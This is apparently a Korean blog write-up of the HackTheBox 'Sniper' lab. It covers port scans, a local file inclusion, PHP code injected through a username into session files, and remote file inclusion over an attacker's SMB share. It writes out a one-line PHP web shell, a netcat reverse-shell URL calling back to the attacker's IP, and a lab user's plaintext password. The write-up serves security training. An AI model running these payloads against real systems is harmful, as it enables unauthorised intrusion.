본문 바로가기

Hacking/HackTheBox

Sniper

Nmap

└─# nmap -p- -sT --min-rate=20000 10.129.229.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:35 KST
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 26.30% done; ETC: 16:36 (0:00:39 remaining)
Stats: 0:00:17 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 34.04% done; ETC: 16:36 (0:00:33 remaining)
Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 54.15% done; ETC: 16:36 (0:00:21 remaining)
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 65.75% done; ETC: 16:36 (0:00:15 remaining)
Nmap scan report for 10.129.229.6
Host is up (0.28s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49667/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 44.19 seconds

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nmap -p 80,135,139,445
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:37 KST
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.01 seconds

┌──(root㉿BOOK-2S4VUSLFM3)-[/home/surtesters]
└─# nmap -p 80,135,139,445 -sCV 10.129.229.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:37 KST
Nmap scan report for 10.129.229.6
Host is up (0.28s latency).

PORT    STATE    SERVICE      VERSION
80/tcp  filtered http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds

 

80 먼저 접근 시 

LFI 의심 GET Url 발견

 

IIS 서버로 윈도우 경로 입력

lang=\windows\win.ini

 

회원 가입 및

로그인 시 

위와 같이 로그인 수행 됨 확인

 

IIS + php 기본 세션 저장 경로인 windows/temp/ 내 세션 파일에 세션정보 확인 가능

user 이름에 php 구문으로 system 명령어 실행 할 수 있는 

<?php system("whoami") ?> 로 아이디생성 후 호출 시도

생성 후 로그인 시

system 명령어 대신 백틱 사용

<?php echo `whoami` ?>

이 후 로그인 성공 하며, 

커맨드 실행 됨을 확인 함 

 

RFI 도 되는 지 확인

 

kali 에서 smbserver smb2 버전으로 오픈 수행

smbserver.py sniper /home/surtesters/sniper -smb2support

 

kali 에서 vpn 연결하고, 

윈도우 로컬에서 ssh 포트 포워딩으로 연결수행

ssh -N -L 8888:10.129.229.6:80 surtesters@172.18.x.x

 

 

sniper.php 아래와 같이 작성하여, RFI 실행 가능 여부 확인

<?php phpinfo(); ?>

그럼 여기에 RCE 코드를 추가

echo "<?php system(\$_GET['sniper']); ?>" > sniper_rev.php

nc 도 해당 공유디스크에 추가하여, 리버스 쉘 수행

http://localhost:8888/blog/?lang=\\10.10.14.88\sniper\sniper_rev.php&sniper=\\10.10.14.88\sniper\nc64.exe%2010.10.14.88%203333%20-e%20powershell

웹서버 계정이기 때문에, User flag 획득가능 계정 확인

Chris 로 전환 필요

해당 정보로 접속 시도

$username='WORKGROUP\Chris'

$securePassword=ConvertTo-SecureString -AsPlainText -Force '36mEAhz/B8xQ~2VM'

$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Enter-PSSession -ComputerName localhost -Credential $credential

실행되는 명령어 없음 shell 다시 만들기 시도, 실패

 

'Hacking > HackTheBox' 카테고리의 다른 글

EscapeTwo  (0) 2025.04.23
cicada  (0) 2025.04.09
Administrator  (1) 2024.11.26
Certified (Windows · Medium)  (0) 2024.11.11
aragog (Linux)  (1) 2024.11.04